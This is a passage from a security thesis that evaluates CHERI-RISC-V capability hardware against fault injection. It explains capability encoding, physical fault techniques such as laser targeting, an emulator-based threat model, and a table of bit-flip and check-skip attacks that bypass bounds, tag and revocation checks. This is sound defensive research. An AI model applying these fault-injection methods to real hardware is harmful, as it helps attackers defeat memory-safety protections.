Every CHERI capability consists of five main parts: permissions (perms), bounds, object type (otype), a tag bit, and an address as seen in Figure 2.5 [10]. Together these fields encode not just where a pointer points to but also what operations are permitted, over which memory region, and whether the capability is currently valid. The hardware checks all of these on every use.

Figure 2.5. Comparison normal pointer with CHERI capability 64-bit [14].

Permissions

The permissions field (perms in Figure 2.5) controls what operations the capability may be used for [10].

Key permissions include load, store, and a sealing permission, which controls access to the sealing functionality (see object type in 2.2.1). Of particular relevance to this thesis is the execute permission: a capability carrying this bit can be used as an instruction-fetch target and acts as a code pointer, whereas a capability lacking it is a pure data pointer and cannot be jumped to.

This fine-grained permission model is what allows CHERI to enforce the principle of least privilege at the pointer level.

Bounds

The bounds field defines the region of the address space that the capability authorises access to. This is encoded through a base, which is the lower bound, and a top, upper bound. Any memory access through the capability whose address falls outside [base, top) is trapped by the hardware, raising a capability exception. This directly supports spatial safety, discussed in § 6.1.2.

Because a full 64-bit base and a full 64-bit top would require 128 bits for the bounds information, CHERI uses a compressed bounds encoding to save space in the in-memory and in-register representation of capabilities. In CHERI ISA Version 9 for RISC-V the bounds information occupies 27 bits within the capability, as seen in Figure 2.6, the encoding is described below.

Figure 2.6. Visualisation of the bounds information of a capability [14].

The compressed bounds representation used in CHERI ISA Version 9 (RISC-V) is based on a floating-point-like scheme. Rather than storing absolute base and top values, CHERI stores a common exponent EE and shortened mantissa-like fields BB (encoded base) and TT (encoded top), which are then reconstructed relative to the current address at decode time.

Object type

The otype (see Figure 2.5) or object type field encodes a capability’s sealing status. When a capability is sealed, it cannot be modified or directly dereferenced; this is enforced entirely by hardware. Two forms of sealed capability exist: (i) sealed pairs, are two capabilities sharing a common object type that can be unsealed by software holding the appropriate unsealing capability, and (ii) sentry capabilities, which are stand-alone sealed entry capabilities that can only be unsealed by hardware.

Of particular relevance to this thesis are sentry capabilities. Sentries are immutable and non-dereferenceable by software: they cannot be used as the operand of load or store instructions, and their address, bounds, and permissions cannot be modified through capability-aware instructions. A sentry can only be used by the hardware itself, specifically by control-flow instructions, which unseal it and load it into Program Counter Capability (PCC), the register encoding the current execution context. No software-accessible unsealing path exists for sentry capabilities.

An unsealed capability, indicated by all ones, is usable as a normal pointer. All other otype values represent sealed capabilities and need to be unsealed correctly when used.

Where supported, capability sealing enables the implementation of opaque pointer types [10]: one component can pass a sealed capability to another, and the recipient cannot inspect or tamper with the underlying address or bounds without the correct unsealing authority.

Validity Tag

Each capability carries a 1-bit validity tag, which tracks the validity of a capability and is hardware enforced [10]. This tag is stored separately from the capability’s data bits (see Figure 2.5), not in the 128-bit payload itself, but in a dedicated implementation-specific hardware structure. Crucially, this separation ensures that the tag cannot be set by ordinary data writes.

The hardware maintains tag integrity throughout the lifetime of a capability, i.e., from the creation of a capability, a valid tag is stored alongside it, assuming it was created with capability-aware instructions.

One way a capability tag can be automatically cleared is when a non-capability store instruction writes to a memory location that holds a capability. In other words, any attempt to modify a capability using a regular data store rather than a dedicated capability store instruction like e.g., memcpy, invalidates the tag, rendering the capability unusable.

An invalid capability (tag=0tag = 0) cannot be used for memory access, instruction fetch, or as a target for control-flow transfer. However, the individual fields (address, bounds and permissions) can still be read as plain data. This allows code to inspect a stale pointer’s address without being able to dereference it.

Furthermore, tag invalidity propagates monotonically and the tag enables unforgeability, both of which are explained in more detail in § 6.6.1.

Address

The address field stores the current value of the pointer, i.e., the memory location the capability currently points to. It is this value that is used for actual memory accesses and arithmetic, and it is also used during bounds decoding to reconstruct the full base and top values from the compressed bounds (see § 6.4.2). Pointer arithmetic in CHERI modifies the address field, but the bounds information does not get changed. Therefore, if the address is moved outside the bounds subsequent uses of the capability will fault.

Bounds Compression

The following explains the encoding and decoding of bounds according to CHERI RISC-V ISA Version 9 [14] for 128-bit capabilities. Compression is needed to save in-memory and in-register space, but it reduces the set of bounds that can be expressed. It is achieved by storing only the most significant bits of both the base and the top, and recovering the omitted lower bits at decode time, e.g., by exploiting the invariant that the top is always greater than or equal to the base.

Let BB stand for the bits encoding the base address bb (see Figure 2.6 "Lower Bound"), let TT stand for the bits encoding the top (see Figure 2.6 "Upper Bound"), let IEI_E be an internal exponent bit which signals the used format and let EE be the exponent, which determines the position of where TT and BB are inserted in the address aa.

Encoding

Step 1:

Determine EE by finding the Most Significant Bit (MSB) of the total length ll between the capability bounds, i.e., l=t−bl = t - b (MSB of ll will be referred to as MSB(l)MSB(l) in the following):

E+12=MSB(l)E + 12 = MSB(l)

Additionally, E=0E = 0 if l[64:13]=0l[64 : 13] = 0, i.e., bits 13 to 64 of ll are zero.

Step 2:

Set IEIE depending on EE and l[12]l[12]:

IE={0,if E=0 and l[12]=01,otherwiseIE = \begin{cases} 0, & \text{if } E = 0 \text{ and } l[12] = 0 \\ 1, & \text{otherwise} \end{cases}

Step 3:

If IE=0IE = 0:

B=b[13:0]T=t[11:0]\begin{aligned} B &= b[13 : 0] \\ T &= t[11 : 0] \end{aligned}

If IE=1IE = 1:

B=b[E+13:E+3]T=t[E+11:E+3]\begin{aligned} B &= b[E + 13 : E + 3] \\ T &= t[E + 11 : E + 3] \end{aligned}

If by truncating, i.e., dropping bits, tt we round it down (any of the bits t[E+2:0]t[E + 2 : 0] were set to 1) then: T=T+1T = T + 1. Incrementing TT might also increase ll and, thus, the MSB, therefore we need to recompute starting from Step 1. Incrementing TT can only happen once.

Decoding

Step 1:

Reconstructing top 2 bits of TT:

T[13:12]=B[13:12]+Lcarry_out+LMSB(1)T[13 : 12] = B[13 : 12] + L_{\mathit{carry\_out}} + L_{\mathit{MSB}} \tag*{(1)}

with:

LMSB={0,if IE=01,if IE=1L_{MSB} = \begin{cases} 0, & \text{if } IE = 0 \\ 1, & \text{if } IE = 1 \end{cases}
Lcarry_out={1,if IE=0 and T[11:0]<B[11:0]1,if IE=1 and T[11:3]<B[11:3]0,otherwiseL_{\mathrm{carry\_out}} = \begin{cases} 1, & \text{if } IE = 0 \text{ and } T[11:0] < B[11:0] \\ 1, & \text{if } IE = 1 \text{ and } T[11:3] < B[11:3] \\ 0, & \text{otherwise} \end{cases}

Step 2: In order to decode the bounds, first the address aa needs to be split into:

a=(atop=a[63:E+14])∣(amid=a[E+13:E])∣(alow=a[E−1:0])a = (a_{top} = a[63:E+14]) \mathbin{|} (a_{mid} = a[E+13:E]) \mathbin{|} (a_{low} = a[E-1:0])

Step 3: Calculating carries ctc_t and cbc_b:

A3=a[E+13:E+11]B3=B[13:11]T3=T[13:11]R=B3−1\begin{aligned} A_3 &= a[E+13:E+11] \\ B_3 &= B[13:11] \\ T_3 &= T[13:11] \\ R &= B_3 - 1 \end{aligned}

Step 4: Now tt and bb can be calculated using the splitting from Step 2 and Table 2.1:

A3<RA_3 < RT3<RT_3 < Rctc_tA3<RA_3 < RB3<RB_3 < Rcbc_b
nono0nono0
noyes+1noyes+1
yesno-1yesno-1
yesyes0yesyes0

Table 2.1. Tables to determine ctc_t and cbc_b

t=(atop+ct)∣(T[13:0])∣(E times "0")t = (a_{top} + c_t) \mathbin{|} (T[13:0]) \mathbin{|} (E\ \text{times "0"})
b=(atop+cb)∣(B[13:0])∣(E times "0")b = (a_{top} + c_b) \mathbin{|} (B[13:0]) \mathbin{|} (E\ \text{times "0"})

"|" signifies concatenation.

Enforcement and Unforgeability

The following presents a simplified overview of the core hardware-enforced invariants that CHERI checks on every capability use: (i) Valid tag: the capability must have its tag bit set; a cleared tag — caused, e.g., by non-capability data being written over a capability or by a failed derivation — renders the capability unusable. (ii) Unsealed: the capability must be unsealed (i.e., have a reserved otype) for direct use; a sealed capability cannot be dereferenced or modified until correctly unsealed. (iii) Permission check: the requested operation (load, store, execute, etc.) must be authorised by the capability’s permissions field. (iv) Bounds check: the address being accessed must fall within the capability’s decoded bounds [base,top)[base, top).

If any of these checks fails, the hardware raises a capability exception immediately, before the memory access takes place.

Beyond per-access checks, CHERI enforces monotonicity: capability instructions can only produce capabilities with permissions and bounds equal to or strictly less than those of the source capability [10]. Therefore, a capability can be narrowed but never widened. Additionally, this also ensures that capabilities derived from an invalid capability are invalid too. Monotonicity is enforced in hardware: any instruction that attempts to increase permissions or expand bounds produces an invalid result rather than a widened capability.

CHERI enforces unforgeability via the tag: only capability-aware, hardware-enforced instructions that implement the allowed derivation operations can create or modify capabilities, so ordinary integer operations cannot forge valid capabilities. This guarantee ensures that capabilities cannot be forged by injecting raw integer values or manipulating raw bytes.

The monotonicity rule, paired with the unforgeability guarantee from the tag mechanism (tags cannot be set by data operations, only by derivation from other valid capabilities), ensures that the full set of capabilities in the system is tightly controlled: capabilities can only flow from more privileged to less privileged, never in the other direction, unless a more privileged entity explicitly grants them.

Control-Flow Protection

CHERI introduces hardware-enforced CFI through the PCC and return address capabilities, that is, control-flow pointers are represented as capabilities. In CHERI-RISC-V, the program counter is therefore not a plain integer register, but a capability register that encodes both the current execution address and the bounds and permissions of the code region currently being executed. An indirect jump (e.g., a function call or return) must load a valid, tagged, executable capability into PCC; the hardware then checks that the target address falls within the capability’s bounds and that the execute permission is set.

Return addresses are also represented as capabilities rather than plain integers: a call instruction saves the return address as a capability with appropriate bounds and execute permission. Overwriting a return address on the stack with arbitrary data, therefore, clears its tag, and the hardware will fault when the corrupted capability is used. Beyond this, return address capabilities are stored as sentry capabilities, which are determined by otype and explained in § 6.2.1. Together, these measures prevent classical stack-based return-address attacks and control-flow violations, which connects directly to the control-flow hijacking threat model described in § 6.1.4.

CHERI-RISC-V Instantiation. In CHERI-RISC-V, the return address is stored in the cra register as a sentry executable capability (see § 6.2.1) carrying only read and execute permissions [14]. The stack pointer is stored as a capability in the csp register [14]. Capability-aware control-flow instructions (e.g., cjalr instead of jalr) are used to invoke and return from functions; these instructions preserve tag integrity and enforce metadata constraints [14]. Any non-capability write to a capability clears its tag (see § 6.2.1 and § 6.6.1). Therefore, overwriting the saved cra with an ordinary integer store changes the address but invalidates the capability, causing a hardware exception on return. This constraint is central to the control-flow hijacking discussion in § 8.2.4.

Spatial and Temporal Memory Safety

Spatial safety, i.e., preventing accesses outside an object’s bounds, is enforced by default in CHERI through the bounds metadata field that every capability has.

Temporal safety, which prevents freed memory from being dereferenced, requires additional support in CHERI. One approach is to use capability revocation schemes like Cornucopia Reloaded. This method has been deployed on industrial prototypes like ARM Morello and CHERI-RISC-V [17, 46].

Cornucopia provides temporal safety for heap-based allocations by using a capability revocation scheme, which invalidates freed capabilities and prevents reallocation of memory. This scheme is implemented via a quarantine buffer and a revocation bitmap, also called a shadow bitmap [17, 46]. The shadow bitmap is maintained as a compact table of single bits, one per allocated capability, recording whether each memory region has been freed. The quarantine buffer holds all freed addresses, ensuring no new allocation overlaps with recently freed memory until revocation occurs.

The mechanism operates as follows [16, 46]. When memory is freed ① (see Figure 2.7), it is not immediately returned to the allocator; instead, the freed region and any capabilities authorising access to it are placed in the quarantine buffer, and the region is marked as freed in the shadow bitmap. Periodically, when the quarantine buffer exceeds a threshold, a revocation sweep is triggered ②. This sweep traverses all reachable memory — registers, stack, heap, global data and kernel memory — and clears the tag of every capability whose corresponding entry in the shadow bitmap is marked as freed. Once the sweep confirms that all such capabilities have been invalidated, the quarantine buffer is cleared and the memory is made available for reallocation ③.

Figure 2.7. Cornucopia capability allocation lifecycle [46].

This ensures that after revocation, any stale pointer (dangling capability) to the freed region has had its tag cleared and can no longer be dereferenced, preventing use-after-free and related temporal vulnerabilities.

However, the Cornucopia approach also has limitations. First, until a revocation sweep is triggered the freed memory is still valid, which means that it has a use-after-free mitigation gap. Second, this approach increases the usage of memory through the quarantine buffer, shadow bitmap and because freed memory cannot be reused immediately. Third, it introduces additional overhead on every deallocation and when the memory sweep is triggered. Lastly, the final phase of the sweep needs to halt all application threads and system calls to ensure that no pointers are missed.

In CheriBSD, the Cornucopia implementation consists of two components: the Malloc Revocation Shim (MRS), which manages the quarantine buffer and triggers revocation requests, and a kernel-side revocation sweeper that performs the capability sweep asynchronously relative to the process under revocation [16].

Comparison to other Approaches

CHERI’s most significant advantage over memory-safe languages, such as Rust (§ 6.1.7.1), is backward compatibility [10]. C and C++ programs can be recompiled for a CHERI-enabled target with minimal or no source changes, and the hardware enforces spatial safety transparently. This means that legacy code, operating system kernels, and large existing codebases can benefit from CHERI without the cost of a full rewrite.

Additionally, compared to narrow, targeted software mitigations such as stack canaries (§ 6.1.7.2) or shadow stacks (§ 6.1.7.3), CHERI addresses a broader class of vulnerabilities. Rather than protecting only return addresses or detecting only stack overwrites after the fact, CHERI enforces bounds on every pointer in the system, preventing out-of-bound reads and writes to heap objects, stack objects, and global variables [10]. It also prevents CFH by protecting return address capabilities, function pointers, and the PCC.

CHERI also enables software compartmentalisation, allowing a single process to be divided into isolated components that cannot access each other’s memory without explicit authority.

The main limitations of baseline CHERI are that temporal safety for heap-based allocations introduces additional overhead and complexity [17]. Additionally, default CHERI does not address some specific memory-safety issues like, e.g., uninitialized variables and capabilities, however, some extensions like Mon CHÉRI exists for providing initialisation safety [47]. However, initialisation safety is excluded in this study. Furthermore, CHERI’s guarantees apply to software-level memory safety; it does not inherently protect against fault injection attacks, which is a central motivation for this thesis.

Implementations and Prototypes

CHERI has moved from being pure academic research, as there already exists industry prototypes. The two most prominent implementations are described here.

Arm Morello is a research system-on-chip developed by Arm in collaboration with the University of Cambridge and SRI International, delivered in 2021 as part of the UK government’s Digital Security by Design programme [48]. Morello implements CHERI as an extension to the AArch64 (ARMv8-A) ISA. It is a full-featured server-class processor running CheriBSD, a CHERI-enabled fork of FreeBSD, and has been used extensively to evaluate the real-world performance and compatibility of CHERI across large software stacks.

CHERIoT is a purpose-built CHERI ISA specification targeting embedded and IoT microcontrollers, developed by Microsoft Research and based on a small RISC-V core [49]. Unlike Morello, CHERIoT is specifically designed for resource-constrained environments where memory and chip area are limited [50]. It builds on the core ideas of the CHERI capability model and includes integrated support for temporal safety and software compartmentalisation in a very small footprint. CHERIoT demonstrates that CHERI is practical not only in high-end processors but also in the embedded space.

Dynamic Linking RISC-V

Dynamic linking allows a program to postpone the resolution of external symbol references, such as calls to shared library functions, until load time or first use, rather than embedding all addresses statically at compile time [51].

The RISC-V Executable and Linkable Format (ELF) ABI uses two structures to enable calls between dynamically linked shared objects [25]. Each dynamically linked executable or shared library has a Global Offset Table (GOT) (.got) of addresses of global symbols (data objects and functions) which the dynamic linker fills in at load time [25, 52]. Consequently, code accesses global variables and external data indirectly through entries in the GOT. This allows the linker to patch addresses without modifying executable code pages when an objects location changes [52]. On the other hand, the Program Linkage Table (PLT) (.plt) provides small stubs for function calls between dynamically linked shared objects [25]. Each stub reads a corresponding entry from the .got.plt section, a dedicated subset of the GOT for PLT entries, which initially points back into the linker’s resolver [25].

This method enables lazy binding: on the first call to an external function, the stub in the program jumps to the dynamic linker’s resolver, which looks up the symbol, writes the resolved address into the .got.plt entry, and transfers control back to the target [25]. All subsequent calls proceed directly without linker involvement [52].

On the other hand, eager binding or eager resolution loads all objects and functions upon program start. It can be forced process-wide by setting the LD_BIND_NOW environment variable, or on a per-binary basis by embedding the DF_BIND_NOW flag in the ELF header of a shared library or executable [53, 52].

Fault Injection

Before explaining fault injection techniques and their effects, it is important to clarify what a physical fault is. Generally, a fault is a defect or imperfection occurring within hardware or software components [54]. A physical fault therefore refers specifically to a fault manifesting in hardware. Fault injection, in turn, describes the deliberate introduction of faults into a system in order to observe and analyze its response [54].

A fault can propagate through a system and lead to observable errors [55]. If left unhandled, an error may ultimately cause a system failure [54].

Fault injection has traditionally been associated with physical access to the target hardware, making it particularly relevant in scenarios involving embedded systems and smart cards. However, not all fault injection requires physical proximity. Rowhammer [56] induces bit flips in DRAM by repeatedly accessing adjacent memory rows from software, exploiting charge leakage between cells. CLKSCREW [57] exploits software-accessible power management interfaces to induce faulty computations. These techniques demonstrate that fault injection can also be performed remotely, though typically with less precision than direct physical methods using optical or electromagnetic equipment.

Physical fault injection attacks are commonly categorised along two dimensions: the persistence of the induced fault, and the degree of physical access required.

Regarding fault persistence, three classes are distinguished [58]: transient faults affect only a single execution instance (e.g., skipping an entire or partially skipping an instruction); persistent faults affect multiple executions but are not permanent, for example, a bit flip in memory that persists until the affected location is overwritten or the system is reset; and permanent faults that alter the hardware itself irreversibly and persist until the affected component is repaired or replaced.

Regarding the degree of physical access required, invasive attacks require significant physical preparation of the device, such as decapsulation (removing the protective packaging of the integrated circuit or electronic component), making them costly and time-intensive, while non-invasive attacks require no such preparation and are therefore cheaper to execute, though this also limits their precision and control [59].

Techniques

Common physical fault injection techniques include [60, 59, 61]:

  • Voltage glitching: momentarily lowering or raising the supply voltage to violate timing constraints and induce incorrect logic behaviour; non-invasive.

  • Clock glitching: increasing or decreasing the device’s clock frequency to cause instruction skipping or mis-execution; non-invasive, but requires access to clock signal.

  • Electromagnetic (EM) fault injection: directing a localised EM pulse at a targeted chip region to induce non-permanent faults; non-invasive.

  • Optical fault injection (laser): using a focused laser to flip bits or disturb transistors at precise chip locations; invasive or semi-invasive.

  • Focused Ion Beam (FIB) fault injection [62]: using a focused beam of electrically charged atoms to flip bits or disturb transistors at precise chip locations; invasive.

  • Temperature manipulation: heating or cooling the device beyond its operating thresholds to introduce faults; non-invasive.

These techniques are typically transient or persistent and can be tuned to target specific time windows or device regions, albeit with practical limitations.

Bit Flips

Bit flips — persistent faults that affect the architectural state encoded into bits, such as the contents of memory, until overwritten — can be induced through various physical fault injection methods. The most commonly studied approaches for targeted bit-level manipulation are optical (laser) fault injection, and EM fault injection [60, 61].

These methods differ significantly in their spatial and temporal precision, which determines how reliably an attacker can flip a specific bit rather than causing broader, uncontrolled corruption.

EM fault injection induces faults by directing a localized EM pulse at the target device. While it does not require decapsulation and is therefore non-invasive, its spatial resolution is limited by the physical size of the EM probe coil and the EM coupling characteristics of the package, making it difficult to reliably target individual bits or small memory regions [61].

FIB fault injection achieves very high spatial resolution, as the ion beam can be focused to nanometer-scale spots [59]. However, FIB is a highly invasive and costly technique, it requires full decapsulation and imposes costs of over 100.000 USD, making it impractical for most attack scenarios that require repeated fault attempts [59, 63]. For this reason FIB is not further considered in this study.

Optical (laser) fault injection is widely considered the most practical method for achieving high-precision, repeatable bit flips [61, 64]. It is an invasive technique, requiring decapsulation but offers better spatial control than EM injection and is less expensive than FIB [63]. The mechanism relies on the photoelectric effect: a focused light pulse induces a photocurrent, flipping bits at the targeted location [61]. Additionally, laser fault injection has high temporal precision, with pulse durations and injection timing controllable at the nanosecond level, allowing faults to be synchronized with specific clock cycles or instruction execution windows [61, 64].

Identifying the target location is a prerequisite for any precise fault injection attempt. One approach is to reverse engineer the integrated circuit through die imaging, delayering, and layout analysis, which allows the attacker to map logical memory or register locations to their physical positions on the die prior to injection [65, 66]. Alternatively, when such detailed prior knowledge is unavailable, an attacker can follow a black-box empirical approach: the device is repeatedly reset to a known state, a laser pulse is applied at a given position and timing, and the resulting register or memory contents are read back and compared against expected values [67]. By sweeping systematically across positions and timings and analyzing the observed deviations, the attacker can reverse-engineer which physical locations correspond to which bits or instructions [67]. Additionally, side-channel techniques such as power or EM analysis can complement either approach by revealing when security-relevant operations occur, enabling more precise temporal targeting [68].

Because CHERI’s enforcement critically relies on the integrity of capability metadata and the tag, targeted bit flips in these fields represent a meaningful threat model. Security-relevant effects of single- or few-bit flips include bounds expansion, in which the compressed bounds are altered so that the capability authorises a larger or shifted memory region; tag manipulation, which can invalidate a valid capability or forge a valid capability from an invalid one; and permission escalation, which enables writes or instruction fetch where they should be disallowed. This is especially pertinent for control-flow artifacts (e.g., return address capabilities, PCC-relative jumps) and data pointers involved in buffer bounds checks.

Instruction Skipping

Instruction skipping is a transient fault. Rather than corrupting stored data, these faults disrupt the fetch-decode-execute pipeline, causing the processor to omit or incorrectly execute one or more instructions. This effect is commonly achieved through voltage glitching, in which a brief drop or spike in supply voltage violates the processor’s timing constraints; clock glitching, in which a shorter-than-expected clock pulse prevents the processor from completing the current instruction before the next cycle begins; and precisely timed laser or EM pulse injection targeting the instruction fetch or decode logic [69, 70].

In the context of CHERI, the relevant variant is not the skipping of an entire load or store instruction, but rather the skipping of the internal metadata checks — such as bounds verification or tag validation — that precede the actual memory operation. The memory operation itself still executes and produces its architectural effect; only the enforcement checks are bypassed. This thesis refers to this specific variant as check skipping or check skip. It arises because CHERI performs these checks as discrete operations before the load or store executes, meaning a fault that disrupts only the check leaves the subsequent memory access intact. Check skipping could therefore allow an attacker to bypass CHERI’s enforcement without ever corrupting capability metadata directly.

QEMU and CHERI-RISC-V Simulation

QEMU (Quick Emulator) is an open-source machine emulator and virtualizer capable of full-system emulation, including Central Processing Unit (CPU), memory, and peripherals [15]. It translates guest instructions to host instructions dynamically and models the architectural state in software. This makes it possible to run architectures such as CHERI on conventional, non-CHERI hardware.

For research on emerging architectures such as CHERI, QEMU’s modifiability and observability are important, as it allows precise inspection and control of architectural state during program execution. This results in reproducible experiments and no requirement to have access to specialised hardware.

Method

This chapter describes the research methodology used to investigate the robustness of the CHERI architecture against fault injection attacks. The goal is to evaluate whether CHERI’s memory-safety guarantees hold under controlled fault conditions and to identify potential vulnerabilities. The methodology combines literature review and experimental study of the CHERI architecture. Section 3.1 describes the overall research method and justifies the choice of emulation-based experimentation. Section 3.2 defines the attacker assumptions and threat model. Section 3.3 details the QEMU environment, its configuration, and its limitations. Section 3.4 outlines the three-phase research process. Section 3.5 describes the execution procedure followed for each experiment. Section 3.6 defines the evaluation metrics used to assess outcomes.

Research Method

The literature review, covered in Chapter 2, establishes the conceptual foundation for the experimental work by surveying memory-safety vulnerabilities, the CHERI architecture and its enforcement mechanisms, and fault injection techniques. Building on this foundation, the primary research method is an experimental evaluation in which a QEMU-based CHERI-RISC-V emulator is instrumented with fault injection primitives. Baseline enforcement is verified using CHERI test cases [71], after which targeted faults are injected to observe if CHERI’s memory-safety guarantees hold under adversarial conditions.

We chose emulation-based experimentation over physical fault injection for two reasons. Physical fault injection on real hardware is expensive, difficult to control, and not always reproducible, whereas the QEMU-based emulator enables deterministic, repeatable experiments with full visibility into architectural state and precise control over the injected faults. Furthermore, the CHERI-RISC-V QEMU fork accurately models the capability registers, tagged memory, and capability-aware instructions that are central to this study, making it a faithful platform for observing CHERI’s enforcement behaviour under adversarial conditions.

A purely theoretical analysis was rejected: predicting the concrete behaviour of a hardware enforcement mechanism under fault conditions requires empirical observation of the system’s actual responses, not only reasoning about its specification.

Assumptions and Threat Model

This work assumes that CHERI is deployed on a system running software that contains latent memory-safety vulnerabilities. This assumption reflects the practical reality that operating system kernels and large system-software stacks are too extensive to rewrite entirely in a memory-safe language, and that narrower mitigations (e.g., stack canaries) address only specific vulnerability classes. CHERI’s advantage is that it can enforce memory safety for existing C/C++ code with only minimal source-level modifications. As a result, the underlying vulnerabilities (e.g., buffer overflows, use-after-free) may remain in the code, but are prevented from being exploited by CHERI’s hardware enforcement. Consequently, an attacker who previously could exploit such bugs must first bypass CHERI’s protections.

The following assumptions about the attacker and fault model apply throughout this study.

Disabled ASLR. ASLR is disabled on the target architecture for the purposes of this evaluation.

Transient or persistent faults. The attacker can induce persistent or transient faults. The system can be reset to a known state between attempts.

Bit flip precision. The attacker can induce targeted bit flips with sufficient spatial precision, or can achieve the desired flip through repeated brute-force attempts. See § 6.8.2 for the physical basis of this assumption.

Temporal control. The attacker can predict or brute-force the timing of fault injection with sufficient accuracy to target specific execution points.

Source code access. The attacker has access to the source code of the target software components used in the experiments. This is realistic for systems based on open-source operating systems (e.g., CheriBSD, Linux) and for products built on reference platform code provided by chip manufacturers, which is often only minimally modified.

Binary access. The attacker can obtain the compiled binaries of the target system, for example by reading them during the boot process, but cannot modify them, as they are integrity-protected at rest. The attacker therefore has knowledge of the program’s memory layout, including the offsets from overflowed buffers to security-critical locations such as return addresses and function pointers.

Vulnerability knowledge. The attacker has knowledge of underlying vulnerabilities present in the target program prior to CHERI enforcement, such as stack-based buffer overflows, and understands which memory regions and capability fields must be targeted to exploit them.

Emulator Environment

Setup

We ran the experiments on a CHERI-enabled RISC-V QEMU emulator, built from the CTSRD-CHERI project’s cheribuild script [16] and extended with custom fault injection functions. The CHERI-enabled QEMU implements capability registers, capability-aware instructions, and hardware capability checks within the emulator’s guest-to-host translation layer, meaning that guest capability instructions are realised by host-side C code that updates and validates capability metadata on each emulated operation. The custom modifications to the emulator are described in detail in § 7.4 and § 8.1.

The environment was run with the command `./cheribuild.py run-riscv64-purecap -d`, targeting a pure-capability CHERI-RISC-V configuration. ASLR is not active by default in this configuration; consistent with the threat model described in § 7.2, it is left disabled throughout all experiments.

Limitations

QEMU models ISA-level behaviour and architectural state through software, which provides high flexibility but introduces trade-offs that limit the claims made in this study.

The most significant limitation is that the emulator does not model the fault injection surface of a real chip. Bit flips and check skips are induced programmatically, which implicitly assumes a level of spatial and temporal precision that an attacker would need to achieve (see § 6.8). The reported fault counts should therefore be understood as lower bounds on the cost in a physical scenario; imprecision in physical injection may require multiple attempts to achieve the desired effect. Furthermore, the emulator does not capture hardware-level countermeasures that real deployments may include, such as Error-Correcting Code (ECC) memory protecting capability metadata, which would silently correct certain bit flips before they could be observed by software. Validating the attacks on real CHERI hardware is identified as future work (§ 12.3).

Additionally, the study focuses exclusively on pure-capability CHERI-RISC-V. Results may differ on hybrid-capability configurations or on other CHERI-enabled ISAs such as CHERI-AArch64 (Morello), where calling conventions, stack layouts, and toolchain choices differ.

Research Process

The research process consisted of two parallel workstreams: a literature review, described in § 7.1 and presented in Chapter 2, and an experimental evaluation conducted in three phases.

The first phase consisted of a more in-depth architectural study and environment setup. We studied the CHERI-RISC-V architecture including its capability encoding (ISA Version 9 specification [14]), configured the emulation environment as described in § 7.3, and verified that baseline CHERI enforcement is functioning correctly by using the standard adversarial exercises provided by the CTSRD-CHERI project [71].

The second phase consisted of toolchain modification and fault injection primitive implementation. We extended the QEMU emulator and Clang/LLVM compiler toolchain with new instructions and compiler built-ins exposing the fault injection primitives described in § 8.1. The design of each primitive was guided by the fault models discussed in § 6.8: the tag-flip and bounds-flip primitives model targeted bit flips in capability metadata, while the check skipping primitives model skipping of metadata enforcement checks but still executing the actual store instruction.

The third phase consisted of attack implementation and evaluation. For each attack type — buffer overflow, control-flow hijacking, data-only attack, and use-after-free — we wrote a target program, compiled it for the cheri64-purecap target, and deployed it to the emulated environment. We applied the fault injection primitives and recorded the outcome according to the criteria defined in § 7.5.

Execution Procedure

Each experiment follows a uniform workflow. The attack program is first compiled using the modified Clang/LLVM toolchain with the cheri64-purecap target, producing a CHERI pure-capability binary. The compiled binary is then transferred to the QEMU guest and executed. The outcome is observed either through program output or through GDB, which provides direct visibility into register contents, stack layout, and capability metadata at any point during execution.

Variations between experiments are specific to the attack. For the buffer overflow and control-flow hijacking experiments, the exact number of padding bytes required to reach the saved return address depends on the compiler-generated stack layout and is determined by inspecting the stack under GDB, consistent with the binary access assumption (see § 7.2). For the use-after-free experiment, the precise location of the relevant shadow bitmap entry is determined programmatically via the libcaprevoke API.

Evaluation Metrics

Two outcomes are recorded for each experiment: (i) crash or no crash, recording whether the program terminates with a CHERI hardware exception; and (ii) exploit success, whose definition varies by attack type. For tag restoration, success is confirmed by the capability being accepted as valid by subsequent hardware checks after the flip. For the buffer overflow, success is confirmed by observing that the capability’s bounds have been extended and that writes beyond the original buffer boundary complete without exception. For control-flow hijacking, success is confirmed by execution of the target function along a path that is not taken under normal control flow. For the data-only attack, success is confirmed by the program taking a branch conditioned on the overwritten variable. For use-after-free, success is confirmed by the stale capability remaining valid after revocation and by the allocator reusing the freed address.

Additionally, each experiment is assessed against three evaluation metrics.

Attack success (binary outcome). The primary metric is whether the attack achieved its stated goal without triggering an unhandled CHERI hardware exception, as defined by the exploit success criteria in § 7.5.

Fault count. The second metric is the minimum number of individually targeted faults, bit flips or check skips, required to achieve a successful outcome. This provides a concrete measure of the exploitation cost under the fault injection threat model and enables direct comparison between attack methods and between CHERI and an unprotected baseline.

Bypassed protection. The third metric identifies which specific CHERI enforcement mechanism is circumvented by the fault. The relevant mechanisms are: the capability bounds (spatial safety), the capability tag (unforgeability), the shadow bitmap (temporal safety via Cornucopia), and the check instructions that validate metadata (check-skip path). Recording which protection is bypassed allows the findings to be mapped directly to the mitigation directions proposed in Chapter 6. The results against these metrics are consolidated in Table 5.2.

AttackAttack successFault countBypassed protectionFault targetPrecision required*
Forged pointerYes1TagTag memoryDepends
Buffer overflowYes1BoundsCapability memory1–9/11 bits
CFH (Method 1)Yes2Bounds and tagCapability and tag memory1–9/11 bits + depends
CFH (Method 2)Yes1BoundsCapability memory1–9/11 bits
CFH (check skip)YesDependsCheck functionMetadata check instruction logic—
Data-Only AttackYes1BoundsCapability memory1–9/11 bits
Data-Only Attack (Method 2)YesDependsCheck functionMetadata check instruction logic—
DOP Hardscope [36]NoUncertainBounds and tagCapability and tag memory1–9/11 bits + depends
UAFYes1Shadow bitmapShadow bitmap memoryDepends

Table 5.2. Summary of fault-injection attacks against CHERI protections.

Implementation and Results

This chapter presents both the implementation and the experimental results of the attacks. § 8.1 describes the fault injection primitives that form the building blocks for the attacks. § 8.2 then presents the attack scenarios themselves, progressing from crafted pointers through buffer overflows and control-flow hijacking to data-only attacks and use-after-free. For each attack scenario, the implementation is described first, followed immediately by the results of the experiment. We chose this structure because the implementation decisions and their observable effects are tightly coupled: understanding why a particular method was chosen requires seeing the result of the preceding attempt.

Emulating Fault Injection in QEMU

